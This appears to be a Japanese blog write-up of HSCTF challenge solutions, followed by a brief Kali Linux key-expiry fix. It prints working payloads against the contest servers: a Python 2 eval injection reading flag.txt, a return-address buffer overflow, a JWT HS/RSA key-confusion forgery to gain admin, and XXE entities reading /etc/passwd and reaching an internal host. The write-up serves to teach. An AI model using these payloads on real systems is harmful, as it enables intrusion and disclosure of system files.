flag{y3S_i7_d03s_3xcl4m4710n_m4rk_890d9a0b}

Discord Flag

Discordを見るとflagが記載されている。

flag{good_luck_have_fun}

My First Calculator

添付ファイルでpythonで記述されたスクリプトが渡される。python2系でコーディングされている。
python2系ではeval関数を用いてシェルを送り込めるのでディレクトリ直下のflag.txtを読み込む処理を入力する。

※以下のコマンドを実行する

__import__('os').write(1, open('./flag.txt').read())

eval+hex入力で文字を置き換えて実行する。

# nc misc.hsctf.com 7001
Welcome to my calculator!
You can add, subtract, multiply and divide some numbers

First number: eval(chr(0x5f)+chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x77)+chr(0x72)+chr(0x69)+chr(0x74)+chr(0x65)+chr(0x28)+chr(0x31)+chr(0x2c)+chr(0x20)+chr(0x6f)+chr(0x70)+chr(0x65)+chr(0x6e)+chr(0x28)+chr(0x27)+chr(0x2e)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x72)+chr(0x65)+chr(0x61)+chr(0x64)+chr(0x28)+chr(0x29)+chr(0x29))
flag{please_use_python3}
Second number: 1
Operation (+ - * /): 

Sorry, only the number 1 is supported
26
flag{please_use_python3}

Binary Exploitation

Intro to Netcat 2: Electric Boogaloo

導入問題。ncコマンドで接続するとflagが表示される。

# nc pwn.hsctf.com 5001
Hey, here's your flag! flag{https://youtu.be/-TVWst0YqCI}

Boredom

C言語で書かれたファイルとELF64ファイルが渡される。

# objdump -d boredom 

boredom:     ファイル形式 elf64-x86-64

     <中略>

00000000004011d5 <flag>:
  4011d5:       55                      push   %rbp
  4011d6:       48 89 e5                mov    %rsp,%rbp
  4011d9:       48 83 ec 40             sub    $0x40,%rsp
  4011dd:       48 8d 35 60 0e 00 00    lea    0xe60(%rip),%rsi        # 402044 <_IO_stdin_used+0x44>
  4011e4:       48 8d 3d 5b 0e 00 00    lea    0xe5b(%rip),%rdi        # 402046 <_IO_stdin_used+0x46>
  4011eb:       e8 90 fe ff ff          callq  401080 <fopen@plt>
  4011f0:       48 89 45 f8             mov    %rax,-0x8(%rbp)
  4011f4:       48 83 7d f8 00          cmpq   $0x0,-0x8(%rbp)
  4011f9:       75 22                   jne    40121d <flag+0x48>
  4011fb:       48 8d 3d 4e 0e 00 00    lea    0xe4e(%rip),%rdi        # 402050 <_IO_stdin_used+0x50>
  401202:       e8 29 fe ff ff          callq  401030 <puts@plt>
  401207:       48 8d 3d 92 0e 00 00    lea    0xe92(%rip),%rdi        # 4020a0 <_IO_stdin_used+0xa0>
  40120e:       e8 1d fe ff ff          callq  401030 <puts@plt>
  401213:       bf 01 00 00 00          mov    $0x1,%edi
  401218:       e8 73 fe ff ff          callq  401090 <exit@plt>
  40121d:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
  401221:       48 8d 45 c0             lea    -0x40(%rbp),%rax
  401225:       be 32 00 00 00          mov    $0x32,%esi
  40122a:       48 89 c7                mov    %rax,%rdi
  40122d:       e8 1e fe ff ff          callq  401050 <fgets@plt>
  401232:       48 8d 45 c0             lea    -0x40(%rbp),%rax
  401236:       48 89 c6                mov    %rax,%rsi
  401239:       48 8d 3d a0 0e 00 00    lea    0xea0(%rip),%rdi        # 4020e0 <_IO_stdin_used+0xe0>
  401240:       b8 00 00 00 00          mov    $0x0,%eax
  401245:       e8 f6 fd ff ff          callq  401040 <printf@plt>
  40124a:       48 8d 3d cc 0e 00 00    lea    0xecc(%rip),%rdi        # 40211d <_IO_stdin_used+0x11d>
  401251:       e8 da fd ff ff          callq  401030 <puts@plt>
  401256:       bf 2a 00 00 00          mov    $0x2a,%edi
  40125b:       e8 30 fe ff ff          callq  401090 <exit@plt>

     <中略>

flag関数のアドレスは00000000004011d5であり208文字以上入力するとbofが発生するため以下を入力する。

# python -c 'print "A"*208+"\xd5\x11\x40\x00\x00\x00\x00\x00"' | nc pwn.hsctf.com 5002
I'm currently bored out of my mind. Give me sumpfink to do!
Give me something to do: Ehhhhh, maybe later.
Hey, that's a neat idea. Here's a flag for your trouble: flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}

Now go away.
flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}

Web Exploitation

Blurry Eyes

指定されたURLへアクセスすると一部の表示にモザイクがかかった画面が表示される。 ソースを確認するとpoefKuKjNPojzLDfというclassを指定している箇所がある。

# curl https://blurry-eyes.web.hsctf.com/
<!doctype html>
<html>

<head>
  <meta charset="utf-8">
  <title>Blurry Eyes</title>
  <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
  <link rel="stylesheet" href="style.css">

     <中略>

    <h4>Anyways, the flag that you need for this cha<span class="blur">llenge is: <span
          class="poefKuKjNPojzLDf"></span></span></h4>

該当の名称をstyle.css上で確認するとflagが記載されている。

.poefKuKjNPojzLDf:after {
    content: "f" "l" "a" "g" "{" "g" "l" "a" "s" "s" "e" "s" "_" "a" "r" "e" "_" "u" "s" "e" "f" "u" "l" "}" ;
}
flag{glasses_are_useful}

Debt Simulator

指定されたURLへアクセスするとボタンを押下して所持金を増減させるゲーム画面が表示される。

ソースは難読化されている。

# curl https://debt-simulator.web.hsctf.com/
<!doctype html><html lang="en"><head><meta charset="utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png"><link rel="manifest" href="/site.webmanifest"><link href="https://fonts.googleapis.com/css2?family=Merriweather&family=Raleway:wght@800&display=swap" rel="stylesheet"><title>Debt :))</title><link href="/static/css/main.6279183e.chunk.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><div id="root"></div><script>!function(e){function t(t){for(var n,l,i=t[0],a=t[1],f=t[2],c=0,s=[];c<i.length;c++)l=i[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(e[n]=a[n]);for(p&&p(t);s.length;)s.shift()();return u.push.apply(u,f||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,i=1;i<r.length;i++){var a=r[i];0!==o[a]&&(n=!1)}n&&(u.splice(t--,1),e=l(l.s=r[0]))}return e}var n={},o={1:0},u=[];function l(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,l),r.l=!0,r.exports}l.m=e,l.c=n,l.d=function(e,t,r){l.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},l.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,t){if(1&t&&(e=l(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(l.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)l.d(r,n,function(t){return e[t]}.bind(null,n));return r},l.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(t,"a",t),t},l.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},l.p="/";var i=this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[],a=i.push.bind(i);i.push=t,i=i.slice();for(var f=0;f<i.length;f++)t(i[f]);var p=a;r()}([])</script><script src="/static/js/2.f3855285.chunk.js"></script><script src="/static/js/main.1b8f0187.chunk.js"></script></body></html>

読み込まれるJSファイルの内main.1b8f0187.chunk.jsファイルに注目する。このファイルで値の受け取り(getPay)or支払い(getCost)を制御している。

# curl https://debt-simulator.web.hsctf.com/static/js/main.1b8f0187.chunk.js
(this["webpackJsonpdebt-simulator"]=this["webpackJsonpdebt-simulator"]||[]).push([[0],[,,,,function(e,t,n){e.exports=n(15)},,,,,function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){},function(e,t,n){"use strict";n.r(t);var a=n(0),c=n.n(a),o=n(3),r=n.n(o),u=n(1);n(9);var l=function(){return c.a.createElement("header",null,c.a.createElement("h1",null,"DEBT SIMULATOR"),c.a.createElement("div",null,c.a.createElement("h5",null,"(Very Realistic)"),c.a.createElement("h4",null,"Try Your Luck!")))};n(10);var i=function(e){return c.a.createElement("div",{className:"Main"},"$",e.content)};n(11);var s=function(e){return c.a.createElement("div",{className:"Message"},e.message)};n(12);var m=function(e){return c.a.createElement("button",{onClick:e.onClick,className:"Button"},e.text)};n(13);var d=function(){var e=Object(a.useState)("Ready to Play?"),t=Object(u.a)(e,2),n=t[0],o=t[1],r=Object(a.useState)(0),d=Object(u.a)(r,2),f=d[0],h=d[1],E=Object(a.useState)("Start Game"),b=Object(u.a)(E,2),v=b[0],p=b[1];return Object(a.useEffect)((function(){f<-1e3?(o("You lost. You have less than $-1000. Better luck next time."),p("Play Again")):f>2e3?(o("You won. You have more than $2000. Try your luck again?"),p("Play Again")):0!==f&&"Next Round"!==v&&p("Next Round")})),c.a.createElement("div",{className:"App"},c.a.createElement(l,null),c.a.createElement(s,{message:n}),c.a.createElement(i,{content:f}),c.a.createElement(m,{onClick:function(){var e=Math.random()>.4;fetch("https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001",{method:"POST",body:"function="+(e?"getCost":"getPay"),headers:{"Content-type":"application/x-www-form-urlencoded"}}).then((function(e){return e.json()})).then((function(t){t=t.response,"Play Again"!==v&&"Start Game"!==v||(p("Next Round"),h(0)),o("You have "+(e?"paid me ":"received ")+"$"+t+"."),h((function(n){return e?n-t:n+t}))}))},text:v}))};n(14);r.a.render(c.a.createElement(d,null),document.getElementById("root"))}],[[4,1,2]]]);

試しにyolo_0000000000001にアクセスしてみるとgetPay、getCost以外にFlagに関連するfunctionがある。

# curl https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]}

そのためgetgetgetgetgetgetgetgetgetFlagにアクセスしてみる。

# curl -XPOST -d "function=getgetgetgetgetgetgetgetgetFlag" https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"response":"flag{y0u_f0uND_m3333333_123123123555554322221}"}
flag{y0u_f0uND_m3333333_123123123555554322221}

Inspector Gadget

指定されたURLへアクセスするとソースにflagが記載されている。

# curl https://inspector-gadget.web.hsctf.com/<!DOCTYPE html>

     <中略>

        <h3>Penny</h3>
        <!-- flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t} -->
        <img src="penny.png" alt="Penny">

     <中略>
flag{n1ce_j0b_0p3n1nG_th3_1nsp3ct0r_g4dg3t}

Broken Tokens

指定されたURLへアクセスするとusernameとpasswordの入力画面が表示される。また公開鍵ファイルが提示されている。

usernameとpasswordに適当な文字列を入力してログインするとauthのcookieにjwtが設定される。
画面表示からguestユーザでログインしていることが分かる。

jwtのユーザをguestからadminユーザへ書き換えてアクセスすればflagが表示されそうである。
提示されている公開鍵を使用してjwtの書き換えを実施する。

# ./jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdXRoIjoiZ3Vlc3QifQ.e3UX6vGuTGHWouov4s5HuKn6B5zbe0ZjxwHCB_OQlX_TcntJuj89x0RDi8gQi88TMoXSFN-qnFUQxillB_nD5ErrVZKL8HI5Ah_iQBX1xfu097H2xT3LAhDEceq4HDEQY-iC4TVSxMGM0AS_ItsVLBIrxk8tapcANvCW_KnO3mEFwfQOD64YHtapSZJ-kKjdN19lgdI_g-2nNI83P6TlgLtZ8vo1BB1zt_8b4UECSiPb67YCsrCYIIsABq5UyxSwgUpZsM6oxW0k1c4NbaUTnUWURG2qWDVw56svRQETU3YjO59AMj67n9r9Y9NJ9FBlpHQ60Ck-mfL5JcmFE9sgVw

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
  Version 1.3                 \______|                           


=====================
Decoded Token Values:
=====================

Token header values:
[+] typ = JWT
[+] alg = RS256

Token payload values:
[+] auth = guest

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------


########################################################
#  Options:                                            #
#                ==== TAMPERING ====                   #
#  1: Tamper with JWT data (multiple signing options)  #
#                                                      #
#             ==== VULNERABILITIES ====                #
#  2: Check for the "none" algorithm vulnerability     #
#  3: Check for HS/RSA key confusion vulnerability     #
#  4: Check for JWKS key injection vulnerability       #
#                                                      #
#            ==== CRACKING/GUESSING ====               #
#  5: Check HS signature against a key (password)      #
#  6: Check HS signature against key file              #
#  7: Crack signature with supplied dictionary file    #
#                                                      #
#            ==== RSA KEY FUNCTIONS ====               #
#  8: Verify RSA signature against a Public Key        #
#                                                      #
#  0: Quit                                             #
########################################################

Please make a selection (1-6)
> 1

====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================

Token header values:
[1] typ = JWT
[2] alg = RS256
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] auth = guest
[2] *ADD A VALUE*
[3] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 1

Current value of auth is: guest
Please enter new value and hit ENTER
> admin
[1] auth = admin
[2] *ADD A VALUE*
[3] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 4

Please enter the Public Key filename:
> /publickey.pem

====================================================================
This option takes an available Public Key (the SSL certificate from 
a webserver, for example?) and switches the RSA-signed 
(RS256/RS384/RS512) JWT that uses the Public Key as its 'secret'.
====================================================================
File loaded: /publickey.pem

Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).
(This will only be valid on unpatched implementations of JWT.)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4

adminユーザへ書き換えたjwtをauthにセットして再度アクセスしてみる。

# curl -b "auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4" https://broken-tokens.web.hsctf.com/

     <中略>

                        <div>Logged in as admin</div>


                        <div id="flag">The flag is flag{1n53cur3_tok3n5_5474212}</div>

     <中略>
flag{1n53cur3_tok3n5_5474212}

Traffic Lights W

指定されたURLへアクセスするとDocker端末の管理コンソール画面が表示される。traffic-light-1001とtraffic-light-1004のみが起動しているようだ。 traffic-light-1001のFirmwareUpload画面を押下するとXMLファイルの入力画面が表示される。

exampleを参考にXXEの脆弱性があることが分かる。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE name [ 
<!ENTITY h SYSTEM "php://filter/convert.base64-encode/resource=../../../../../etc/passwd">
]>
<root>
  <content>&h;</content>
</root>

応答された文字列をbase64でデコードする。

# echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYXNoCmJpbjp4OjE6MTpiaW46L2Jpbjovc2Jpbi9ub2xvZ2luCmRhZW1vbjp4OjI6MjpkYWVtb246L3NiaW46L3NiaW4vbm9sb2dpbgphZG06eDozOjQ6YWRtOi92YXIvYWRtOi9zYmluL25vbG9naW4KbHA6eDo0Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3NiaW4vbm9sb2dpbgpzeW5jOng6NTowOnN5bmM6L3NiaW46L2Jpbi9zeW5jCnNodXRkb3duOng6NjowOnNodXRkb3duOi9zYmluOi9zYmluL3NodXRkb3duCmhhbHQ6eDo3OjA6aGFsdDovc2Jpbjovc2Jpbi9oYWx0Cm1haWw6eDo4OjEyOm1haWw6L3Zhci9tYWlsOi9zYmluL25vbG9naW4KbmV3czp4Ojk6MTM6bmV3czovdXNyL2xpYi9uZXdzOi9zYmluL25vbG9naW4KdXVjcDp4OjEwOjE0OnV1Y3A6L3Zhci9zcG9vbC91dWNwcHVibGljOi9zYmluL25vbG9naW4Kb3BlcmF0b3I6eDoxMTowOm9wZXJhdG9yOi9yb290Oi9zYmluL25vbG9naW4KbWFuOng6MTM6MTU6bWFuOi91c3IvbWFuOi9zYmluL25vbG9naW4KcG9zdG1hc3Rlcjp4OjE0OjEyOnBvc3RtYXN0ZXI6L3Zhci9tYWlsOi9zYmluL25vbG9naW4KY3Jvbjp4OjE2OjE2OmNyb246L3Zhci9zcG9vbC9jcm9uOi9zYmluL25vbG9naW4KZnRwOng6MjE6MjE6Oi92YXIvbGliL2Z0cDovc2Jpbi9ub2xvZ2luCnNzaGQ6eDoyMjoyMjpzc2hkOi9kZXYvbnVsbDovc2Jpbi9ub2xvZ2luCmF0Ong6MjU6MjU6YXQ6L3Zhci9zcG9vbC9jcm9uL2F0am9iczovc2Jpbi9ub2xvZ2luCnNxdWlkOng6MzE6MzE6U3F1aWQ6L3Zhci9jYWNoZS9zcXVpZDovc2Jpbi9ub2xvZ2luCnhmczp4OjMzOjMzOlggRm9udCBTZXJ2ZXI6L2V0Yy9YMTEvZnM6L3NiaW4vbm9sb2dpbgpnYW1lczp4OjM1OjM1OmdhbWVzOi91c3IvZ2FtZXM6L3NiaW4vbm9sb2dpbgpjeXJ1czp4Ojg1OjEyOjovdXNyL2N5cnVzOi9zYmluL25vbG9naW4KdnBvcG1haWw6eDo4OTo4OTo6L3Zhci92cG9wbWFpbDovc2Jpbi9ub2xvZ2luCm50cDp4OjEyMzoxMjM6TlRQOi92YXIvZW1wdHk6L3NiaW4vbm9sb2dpbgpzbW1zcDp4OjIwOToyMDk6c21tc3A6L3Zhci9zcG9vbC9tcXVldWU6L3NiaW4vbm9sb2dpbgpndWVzdDp4OjQwNToxMDA6Z3Vlc3Q6L2Rldi9udWxsOi9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi86L3NiaW4vbm9sb2dpbgpuZ2lueDp4OjEwMDoxMDE6bmdpbng6L3Zhci9saWIvbmdpbng6L3NiaW4vbm9sb2dpbgo" | base64 -d
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

traffic-light-1001上のflagファイルを探すがなかなか見つからない。flagファイルを探す中でLFIだけでなくRFIも成功することがわかる。

ここでTopページにアクセスするとError: High CPU Usageでアクセスできないtraffic-light-1004がある。 もしこのサーバへアクセスできればflagファイルに関連する情報がありそうだ。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE name [ 
<!ENTITY h SYSTEM "php://filter/convert.base64-encode/resource=http://traffic-light-1004">
]>
<root>
  <content>&h;</content>
</root>

応答された文字列をbase64でデコードする。

# echo -n "SWYgeW91J3JlIHJlYWRpbmcgdGhpcy4uLiBZb3UgZm91bmQgb3V0IHRoYXQgdGhlIHRyYWZmaWMgbGlnaHRzIGFyZSBmYWtlLgpEb24ndCB0ZWxsIGFueW9uZS4gSGVyZSdzIGEgZmxhZyB0byBtYWtlIHlvdSBoYXBweTogZmxhZ3tzaGhfaW1fbWluaW5nX2JpdGNvaW59Cg" | base64 -d
If you're reading this... You found out that the traffic lights are fake.
Don't tell anyone. Here's a flag to make you happy: flag{shh_im_mining_bitcoin}
flag{shh_im_mining_bitcoin}

※ちなみにソースファイルは以下の通り。

<!doctype html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <title>Firmware Upload</title>
  <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="sha384-9aIt2nRpC12Uk9gS9baDl411NQApFmC26EwAOH8WgZl5MYYxFfc+NcPb1dKGj7Sk" crossorigin="anonymous">
  <link href="dashboard.css" rel="stylesheet">
</head>

<body>
  <nav class="navbar navbar-dark sticky-top bg-dark flex-md-nowrap p-0">
    <a class="navbar-brand col-md-3 col-lg-2 mr-0 px-3" href="/">Shady Traffic Light Company</a>
  </nav>

  <div class="container">
    <div class="h-100 d-flex justify-content-center align-items-center border-bottom">
      <div>
        <br><br><br>
<?php
if(isset($_GET["light"])) {
  $light = $_GET["light"];
  if ($light === "1001") {
    echo "<h1 class='h2'>{$light}</h1>";
    echo '<form action="/firmware_upload.php" method="GET"> <div class="form-group"> <label for="xml">Upload your XML firmware.<br>Example: <a href="example"><code>example</code></a></label> <textarea class="form-control" id="xml" name="xml" rows="8"></textarea><br><button type="submit" class="btn btn-primary btn-block">Submit</button></div> </form>';
  }
  else if ($light === "1004") {
    echo "<h1 class='h2'>{$light}</h1>";
    echo "<h1 class=\"h2\">Error: High CPU Usage</h1>";
  }
  else {
    echo "<h1 class=\"h2\">Error: Not active</h1>";
  }
}
?>

<?php
if (isset($_GET["xml"])) {
  libxml_disable_entity_loader (false);

  $xml = strlen($_GET["xml"]) > 0 ? $_GET["xml"] : "Firmware Update Failed";

  $document = new DOMDocument();
  $document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
  $parsed = simplexml_import_dom($document);

  echo $parsed->content;
}
?>

</div>
    </div>
  </div>
  <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
  <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js" integrity="sha384-OgVRvuATP1z7JjHLkuOU7Xw704+h835Lr+6QL9UvYjZE3Ipu6Tp75j7Bh/kR0JKI" crossorigin="anonymous"></script>
</body>

</html>

また以下URLへ直接アクセスしてもflagが表示される。

# curl https://traffic-light-w.web.hsctf.com/firmware_upload.php?xml=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22ISO-8859-1%22%3F%3E%0D%0A%3C%21DOCTYPE+name+%5B+%0D%0A%3C%21ENTITY+h+SYSTEM+%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhttp%3A%2F%2Ftraffic-light-1004%22%3E%0D%0A%5D%3E%0D%0A%3Croot%3E%0D%0A++%3Ccontent%3E%26h%3B%3C%2Fcontent%3E%0D%0A%3C%2Froot%3E

Very Safe Login

指定されたURLへアクセスするとアクセスすべきusernameとpasswordがソースファイルに記載されている。

# curl https://very-safe-login.web.hsctf.com/very-safe-login

     <中略>
            
            if(username === "jiminy_cricket" && password === "mushu500") {
                showFlag();
                return false;
            }
            return false;

     <中略>

該当のusernameとpasswordでログインするとflagが表示される。

# curl -XPOST -d "username=jiminy_cricket&password=mushu500" https://very-safe-login.web.hsctf.com/very-safe-login

     <中略>

        <div class="alert alert-success">You did it!</div>
        <h1 class="display-3">flag{cl13nt_51de_5uck5_135313531}</h1>

     <中略>
flag{cl13nt_51de_5uck5_135313531}

Cryptography

XORed

添付ファイルの内容を確認する。

I was given the following equations. Can you help me decode the flag?
Key 1 = 5dcec311ab1a88ff66b69ef46d4aba1aee814fe00a4342055c146533
Key 1 ^ Key 3 = 9a13ea39f27a12000e083a860f1bd26e4a126e68965cc48bee3fa11b
Key 2 ^ Key 3 ^ Key 5 = 557ce6335808f3b812ce31c7230ddea9fb32bbaeaf8f0d4a540b4f05
Key 1 ^ Key 4 ^ Key 5 = 7b33428eb14e4b54f2f4a3acaeab1c2733e4ab6bebc68436177128eb
Key 3 ^ Key 4 = 996e59a867c171397fc8342b5f9a61d90bda51403ff6326303cb865a
Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5 = 306d34c5b6dda0f53c7a0f5a2ce4596cfea5ecb676169dd7d5931139

Author: AC

(Key 1)^(Key 1 ^ Key 3) = Key 3が求まる。
(Key 3)^(Key 2 ^ Key 3 ^ Key 5) = (Key 2 ^ Key 5)が求まる。
(Flag ^ Key 1 ^ Key 2 ^ Key 3 ^ Key 4 ^ Key 5)^(Key 1)^(Key 2 ^ Key 5)^(Key 3 ^ Key 4)でFlagが求まる。

Key 3 =c7dd292859609aff68bea47262516874a49321889c1f868eb22bc428
(Key 2 ^ Key 5 =92a1cf01b16869477a7095b5415cb6dd5fa19a2633908bc4e6208b2d
Flag =666c61677b6e30745f7430305f683472445f6830703366756c6c797d

hexデコードしてflagを確認する。

flag{n0t_t00_h4rD_h0p3fully}

解きたかった問題

・Picture Lab: Activity 10 (Forensics)
・CNC (Forensics)
・Primes (Miscellaneous)
・N-95 (Miscellaneous)

感想

・もっと精進します。

Kali Linuxの更新に失敗したとき

概要

古いバージョンのKali Linuxをapt-get updateで更新しようとした際にKali Linuxリポジトリの署名関連のエラーがでることがある。

# apt-get update

Get:1 http://kali.mirror.garr.it/mirrors/kali kali-rolling InRelease [30.5 kB]
Err:1 http://kali.mirror.garr.it/mirrors/kali kali-rolling InRelease
  The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
Reading package lists... Done
W: GPG error: http://kali.mirror.garr.it/mirrors/kali kali-rolling InRelease: The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
E: The repository 'http://kali.mirror.garr.it/mirrors/kali kali-rolling InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

原因と対策

Kali Linuxリポジトリキーの有効期限切れに関する GPG エラーが原因になる。 この場合公式で公開されている以下の対策を実施して解決できる。

wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add

参考URL

www.kali.org